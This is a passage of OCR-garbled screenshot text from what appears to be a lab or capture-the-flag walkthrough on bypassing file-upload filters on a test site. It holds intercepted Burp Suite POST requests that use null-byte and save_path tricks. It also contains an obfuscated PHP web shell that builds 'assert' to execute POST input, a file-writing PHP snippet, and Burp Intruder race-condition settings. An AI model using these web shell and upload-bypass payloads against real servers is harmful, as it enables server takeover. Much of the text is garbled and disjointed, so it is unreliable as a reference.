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submit Content-Type: multipart/form-data; boundary=-------------- -~
Content-Length: 371353
Referer: http://www.hack upload.com/js-up/js-up.php
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System Windows NT QING-M3Q16RWE33 5.2 build 3790 (Windows Server 2003 Enterprise
Edition Service Pack 1) i586

Build Date Sep 2 2015 23:45:20

Compiler MSVCY (Visual C++ 2008)

Architecture *B6

Configure cscript /nologo configure. js "—enable-snapshot-build" "—enable-debug-pack” "--disable-z/

Command "—disable-isapi" "--disable-nsapi” "—without-mssgl" "-without-pdo-mssql” "--without-pi3w
"—with-pdo-oci=C:\php-sdk\oraclelinstantclient 10\sdk shared” "—with-oci8=C:\php-
sdiioracletinstantclient10'sdk shared" "--with-oci&-11g=C:\php-sdk\oraclelinstantclient 11
\sdk shared” "--with-enchant=shared" "—enable-object-oui-dir=__/obj™ "—-enable-com-
dotnet=shared"” "--with-mcrypi=static” "--disable-static-analyze" "—with-pgo"
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Configuration CAWINDOWS
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System Windows NT QING-M3Q16RWE33 5.2 build 3720 (Windows Server 2003 Enterprise
Edition Service Pack 1) 1586

Build Date Sep 2 2015 23:45:53

Compiler MSVCA (Visual C++ 2008)

Architecture =BE

Configure cscript /nologo configure.js "--enable-snapshot-build” "--disable-isapi”® "--enable-

Command debug-pack” “--without-mssgl® “--without-pdo-mssgl® "--without-pi3web” "--with-

pdo-oci=CAphp-sdk\oracle\instantclient10\sdk,shared” "--with-ociB=C:\php-
sdk\oracle\instantclient10\sdk shared” "--with-oci8-11g=C\php-sdkioracle
\instantclient11\sdkshared" "--enable-object-out-dir=../obj/" "--enable-com-
dotnet=shared" "--with-mcrypt=static" "--disable-static-analyze” "--with-pgo”
Server API Apache 2.0 Handler

Virtual Directory |enabled
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Encryption- Encoding
Intercept HTTP h
M load URL
Y split URL

0 Eecute Forward Drop

M Enable Post data M Enable Referrer

Parz Headers I
2‘¢L{§Eﬂﬂwm by m POST /00-up/00-up.g Wp?save_path=../upload/ HT P/1.1
Host: www.hack uplcad.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Geckof20100101 Firefox/56.0
y ¢ y
getSRBI%00FMEHT L& Accept: text/html, application/xhtml+xml,application/xml;
. N Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
T, AESWERE, RERjpg. g’ Accept-Encoding: gzip, deflate
Filename: | ... | 222.jpg Content-Type: multipart/form-data; boundary=---------e-emmeemeceecnao 206591738917282
Content-Length: 371359
Referer: http://www.hack upload.com/00-up/00-up.php
Connection: close
Upgrade-Insecure-Requests: 1
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Content-Disposition: form-data; name="file"; filename="
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POST /00 2-up/00 2-up.php HTTP/1.1

Host: www.hack upload.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary= 39132358925690
Content-Length: 371465

Referer: http://www.hack upload.com/00 2-up/00 2-up.php

Connection: close

Upgrade-Insecure-Requests: 1

39132358925690
Content-Disposition: form-data; name="save path"

/upload/hacl|.php
391323589256590
Content-Disposition: form-data; name="file"; filename="222 jpg"
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Sa=str replace("Waldo", "", "aWaldo"):;
$b=str replace("Waldo", "", "ssWaldo");
$c=str replace ("Waldo", "", "eWaldo");
Sd=str replace ("Waldo", "", "rWaldo");
Se=str replace("Waldo", "", "tWaldo");
Saa = $a.5b.5%c.5d. Se;
: @$ POST['x"]:

ca, sget) {
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<?php

$myfile = fopen("qing.php", "w");
$txt = "<?php phpinfo();?>";
fwrite($myfile, $txt);
fclose($myfile);

?>
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@ Payload Sets

“ou can define one or more payload sets. The number of payload sets depend:

Payload set: l1

Payload type: |_ Mull paryloads

LEJ Payload Options [Null payloads]

Thiz payload type generates payloads whose value is an empty string. With no

(=) Generate | 3000 payioacds

() Continue indefinitely

LEJ Payload Processing
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[ Target I Positions I Payloads

Request Headers
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These settings cortrol wheth® PRI the configured

] Update Content-Length header
[f] Set Connection: close

Request Engine

G ()

These settings cortrol the endgine

Mumber of threads:
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J Results T Target T Positions I Payloads I Options ]

’Intruder attack 10

‘Finer: Shiowing all tems Aftack Zave Columns
= J Results T Target T Positions T Payloads T Options ]
Reguest & | Position Payload
o ‘ Fiter: Showing all tems
1 1 il
2 1 nidtl Reguest & | Payload Status | Error | Timeout | Length | Comment
3 1 nul o 404 a 0 #6 haseline request
4 1 nul 1 rul 404 a 0 #6
& 1 il 2 nul 404 o [
6 1 il 3 nul 404 o [
7 1 il 4 nul 404 o [
g 1 il 5 nul 404 O ] #6
9 1 il 6 il 404 O 0 #16
10 1 il 7 il 404 O 0 #6
" 1 il & il 404 O 0 #6
9 il 404 O 0 #6
10 il 404 O 0 #6
" il 404 O 0 #6
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